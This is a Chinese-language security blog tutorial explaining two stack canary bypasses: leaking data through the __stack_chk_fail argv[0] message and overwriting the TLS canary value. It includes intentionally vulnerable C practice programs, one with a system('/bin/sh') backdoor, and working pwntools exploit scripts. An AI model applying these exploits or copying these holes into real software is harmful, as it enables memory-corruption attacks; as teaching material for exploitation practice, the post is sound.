Canary绕过总结(二)

由 晨星运营组 发布

4. __stack_chk_fail泄露信息

原理
利用 stack_chk_fail 函数报错信息泄露数,stack_chk_fail 函数输出错误信息时会把 __libc_argv[0] 作为信息输出,也就是 main 函数参数的 argv[0],这个参数保存在栈中,如果可以覆盖该参数,也就可以打印出需要泄露的信息。

注意高版本的 libc 的 __fortify_fail 函数并不会打印 __libc_argv[0]。

源码

#include <stdio.h>
#include <string.h>
#include <unistd.h>
const char flag[] = "flag{this_is_a_flag}";
void vuln() {
    char buf[0x100];
    puts("please input:");
    read(0, buf, 0x1000);
}
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    vuln();
    return 0;
}

我们知道触发canary时会去执行_stack_chk_fail函数,执行这个函数时,会在屏幕上打印这么一段信息

分析下stack_chk_fail的源码,他会调用一个fortify_fail函数并传入”stack smashing detected”字符串

分析__fortify_fail函数,此处,第一个%s的参数是msg,第二个参数需要判断,如果msg!=NULL,就打印__libc_argv[0],否则打印””,而argv[0]存储的就是程序名,且这个参数存于栈上,我们只要修改栈上的argv[0]指针为flag的地址,就可以打印出flag

_libc_argv[0]是二级指针指向栈上的argv[0],argv[0]指向一个字符串,想深入理解的话可以去了解一下程序的main函数

可以尝试在gdb尝试修改指针的值

算偏移的时候得手工生成,直接cyclic生成一直卡在这里不知道啥原因

偏移是520

测试版本是2.23的libc,高版本可以直接用当前系统的编译,然后可以发现打印不了,因为高版本已经修复了

exp

from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# gdb.attach(p, "b __stack_chk_fail\nc")
# pause()
# p.sendafter(b"please input:\n", b'aaaaaaaabaa...iaaaaaagjaaaaaag')
p.sendafter(b"please input:", b'a' * 520 + p64(elf.sym['flag']))
p.interactive()

5. 覆盖TLS中的初始值

linux 下 fs 寄存器指向当前栈的 TLS 结构,fs:0x28 指向的是 TLS 结构中的 stack_guard 值,如果可以覆盖位于 TLS 中的 canary 初始值就可以绕过 canary 保护。

tls是可写的

观察一下在libc下面,所以和libc的偏移是固定的

canary在这个位置

如果知道malloc的地址就可以知道heapbuf,且知道和libc有固定偏移,libc和tls有固定偏移,然后就可以找到canary覆盖成我们已经知道的值

malloc申请的地址和libc的地址很接近

计算canary和malloc的偏移

要被覆盖的canary

可以看到覆盖成8字节的b了,后面正常栈溢出就可以了

源码

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
void backdoor() {
    puts("this is backdoor.");
    system("/bin/sh");
}
void vuln() {
    char *heapbuf = malloc(0x80000); // 申请内存特别大用mmap申请内存,有一个特点和libc是连续的
    char stackbuf[0x100];
    size_t offset, length;

    puts("offset:");
    scanf("%zd", &offset);
    puts("length:");
    scanf("%zd", &length);
    puts("heapbuf:");
    read(0, heapbuf + offset, length);
    puts("stackbuf:");
    read(0, stackbuf, 0x200);
}
int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    vuln();

    return 0;
}

exp

from pwn import *
elf = ELF("./pwn")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# gdb.attach(p, "b *0x4012c5\nc")#read
# pause()
p.sendlineafter(b"offset:", str(0x81758))#canary和malloc申请地址的偏移
p.sendlineafter(b"length:", str(8))
p.sendafter(b"heapbuf:", b'b' * 8)#填8就可以把canary覆盖掉
payload = b"a" * 0x108
payload += b'b' * 8  # canary
payload += b'c' * 8  # rbp
payload += p64(next(elf.search(asm('ret'), executable=True)))
payload += p64(elf.sym['backdoor'])
p.sendafter(b"stackbuf:", payload)
p.interactive()

作者:晨星安全团队--tblr


0条评论

发表评论